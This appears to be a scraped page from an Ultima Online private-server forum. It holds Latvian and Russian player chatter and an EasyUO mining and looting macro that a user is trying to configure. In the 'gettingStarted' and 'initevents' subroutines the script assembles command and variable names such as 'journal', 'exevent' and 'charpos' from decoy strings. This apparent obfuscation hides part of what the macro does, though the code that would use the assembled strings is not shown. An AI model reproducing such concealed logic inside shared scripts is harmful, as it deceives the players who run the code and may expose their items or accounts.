Прямая связь с администрацией по скайпу: gods.dragon
We've noticed that you've been inactive for over 10 minute(s). We've stopped running the Shoutbox due to your inactivity. If you are back again, please click the I'm Back button below.
(29 February 2024 - 12:08)Eu džeki, tie kuri vairāk nespēlē ultimu, varat droši man uzdāvināt savus itemus, vai pat savus acc. droši rakstam man privāti. Es vismaz uzturēšu šo serveri pie dzīvības
(17 February 2024 - 12:36)Мне удалось повторить действия, которые делал этот пиздюк, чтобы нагружать процессор сервера на 100% и вроде как я поправил это.
Pareizi vien ir ka vini tur stav ja ne butu pilns kas uz scripta tur stav!Tak kas tev aizliedz iet kautkur citur kachaties?Oldp dungeons jau nav vieniga vieta kur var kachaties!
Ja iesu kur citur ka4aties playeri mani sitis ! administracijai vajadzerja aizdomaties ! + varetu uztasiit to dunego drusku lielaku ! Ja jau kur citur es iesu tolks man no taa prof account kas bija davana uz menesi ! vajadzeja kadu Prof +pvp disable vai ko tadu lai var visa pasaule ka4aties ! a taa iznak ka tikai var ka4aties viena vieta un tas ir oldp dunego kur ir tauta pilns !
atvaino ka es tadu stulbibu rakstu ,bet man tur jaieraksta pec kartas kura ta ir ??? piemeram set %runeNumberToHome 3 ; Nr runi na dom <- Siten jaraksta kura pec kartas vinja ir ?? ja man runebuka ir ta poga numur 3 ! aa un kur war ieraudzit runebook ID ?
Viss man izdevas ar runebook ! bet tgd mans scp nestaiga ko man darit ???
; Set Up The Following Variables: set %maxWeight 680 ; Max ves set %box OYWNKMD ; ID korobki, gde sbrasivatj rudu set %foodCont BFCUKMD ; ID korobki, gde stoit zapasi moloko i bekona set %xCoord 2563 ; X koordinata okolo boxa set %yCoord 660 ; Y koordinata okolo boxa set %dropMarganece #true ; #true - sbrasivajet Marganece rudu , #false - net set %skillItemChange #false ; #true - menjajet skill shmotki, #false - net set %recall #true ; #true - letajet s runebook, #false - begut peshkom ; Do Not Set These Items If %skillItemChange #false set %skillRobe KIOSJMD ; Skill Roba (ID) set %skillCloak TCNSJMD ; Skill Cloack (ID) set %skillMask YSNSJMD ; Skill Mask (ID) set %simpleRobe UTRVLMD ; Prostaja Roba (ID) set %simpleCloak VARVLMD ; Prostoj cloack (ID) set %simpleMask OSH ; Platemail helm (TYPE/ID) ; End Of Changable Clothes List ; Do Not Set These Numbers If %recall #false set %runebookID LMXEMMD ; ID runebooka set %runeNumberToHome 9 ; Nr runi na dom set %runeNumberToCave 3 ; Nr runi na kopalku set %amountRecalls 10 ; Skolko recallov vzjatj, kogda ix netu ; Delays (Zaderzhki) [ 20 = 1 second ]: set %dropDelay 45 ; Skolko zhadtj mezhdu kidanii rudi na zemlju set %lootDelay 45 ; Skolko zhdatj mezdhu loota predmetov set %dropDelay 45 ; Skolko zhdatj mezhdu kidanii rudi v korobke set %equipDelay 8 ; Skolko zhdatj mezhdu proverki odevanii skill veshej ; End Of Set Up Part
set %item DWJ_TVj_GWJ_EWJ_ZLK_POF_RZF_SJG_CUD_IJG_HSF_RVH_FZH_UJG_DCI_FWL_NZH set %loot DCI_POF_RZF_SJG_CUD_IJG_HSF_RVH_FZH_NZH_UJG_FWL
if %recall { gosub Instalyze runeNumberToHome 1 gosub Instalyze runeNumberToCave 2 } finditem QRM_FJM_GKM C_ , #backpackid if #findcnt <> 0 { set #lobjectid #findid event macro 17 0 wait 30 } set %skill %skillRobe , _ , %skillCloak , _ , %skillMask gosub gettingStarted gosub initevents set %k 0 set %lastK 0
sub eat finditem ZBM C set #lobjectid #findid event macro 17 0 wait 10 finditem GND C set #lobjectid #findid event macro 17 0 wait 10 event macro 17 0 wait 2s return
sub initevents set %rescourse finding str left %rescourse 4 set %save #strres set %done %save , item set %iii kill str left string 1 set %asd #strres , %iii set %start % . %asd str left CADY 1 set %end #strres str left character 4 set %who #strres set %cares %who , id str left %do 4 set %lastdo ex , #strres , t set %race dragrace str left %race 4 set %race #strres set %Wsave %save , id str right skopg 3 set %jasl #strres str left drive 2 set %eaea #strres , %jasl str left post 3 set %number %who , #strres set %alpha %number , x set %beta %number , y set %gamma %number , z set %repsawn waitrespawn str left %repsawn 4 set %upgrade #strres str left tilbery 3 set %almost #strres str left unuquady 2 set %past #strres , %almost set %gems %save , cnt set %else IJG return
sub Instalyze if % . %1 <= 8 set %x . %2 260 else set %x . %2 420 if % . %1 = 1 || % . %1 = 9 set %y . %2 260 if % . %1 = 2 || % . %1 = 10 set %y . %2 275 if % . %1 = 3 || % . %1 = 11 set %y . %2 290 if % . %1 = 4 || % . %1 = 12 set %y . %2 305 if % . %1 = 5 || % . %1 = 13 set %y . %2 320 if % . %1 = 6 || % . %1 = 14 set %y . %2 335 if % . %1 = 7 || % . %1 = 15 set %y . %2 350 if % . %1 = 8 || % . %1 = 16 set %y . %2 365 return
sub dropMarganece dropLoop: finditem DWJ C_ , #backpackid if #findcnt = 0 { wait 20 if #weight >= %maxweight { if %recall gosub port if ! %recall gosub moveItems return } if #weight < %maxweight return } if #findcol = 1750 { exevent drag #findid #findstack exevent dropg #charposx #charposy #charposz wait %dropDelay } ignoreitem #findid 1 goto dropLoop return
sub loot set %lootTime #scnt + 20 finditem YFM G_4 if #findcnt >= 1 { set #lobjectid #findid set %body #findid event macro 17 0 while #contkind <> ASEB && #contsize <> 144_212 && %lootTime > #scnt wait 1 wait 10 repeat { finditem %loot C_ , %body if #findcnt = 0 || #scnt > %lootTime { ignoreitem %body 2 return } exevent drag #findid #findstack exevent dropc #backpackid wait %lootDelay } until #false } return
sub gettingStarted set %afk true set %ell qaerty str left %ell 1 set %abc #strres , #strres , #strres set %a1 #strres str left %ell 2 str right #strres 1 set %cba %abc , #strres , %a1 set %bca %cba , #strres str right %afk 1 set %bca %bca , #strres set %bra %bca , b set %n1 nlogif str right %n1 2 set %to #strres str left %n1 1 set %be #strres str right %n1 2 str left #strres 1 set %be #strres , %be set %tour jour set %navigate nalliwate str left %navigate 3 set %all %tour , #strres set %navigate gost str left %navigate 3 set %ac #strres str right pub 2 set %get %ac , #strres set %do events str right linit 4 set %toGo #strres , %do return
sub element if %lastK >= %k gosub ghost 1 set %lastK %k finditem ED G if #findcnt <> 0 { msg .arm$ set %charX #charposx set %charY #charposy set %charz #charposz sound if %skillItemChange gosub changeClothesTo %simpleMask %simpleRobe %simpleCloak finditem ED G set %element #findid msg .arm$ set #ltargetid %element event macro 27 0 repeat { finditem %element event pathfind #FINDX #FINDY #FINDZ 1 3s wait 1s gosub ghost } until #findcnt = 0 wait 20 gosub loot if %skillItemChange gosub changeClothesTo %skillMask %skillRobe %skillCloak set %time #scnt + 20 repeat { event pathfind %charX %charY %charz 1 3s wait 1s gosub ghost if #scnt > %time return } until #charposx = %charX && #charposy = %charY } return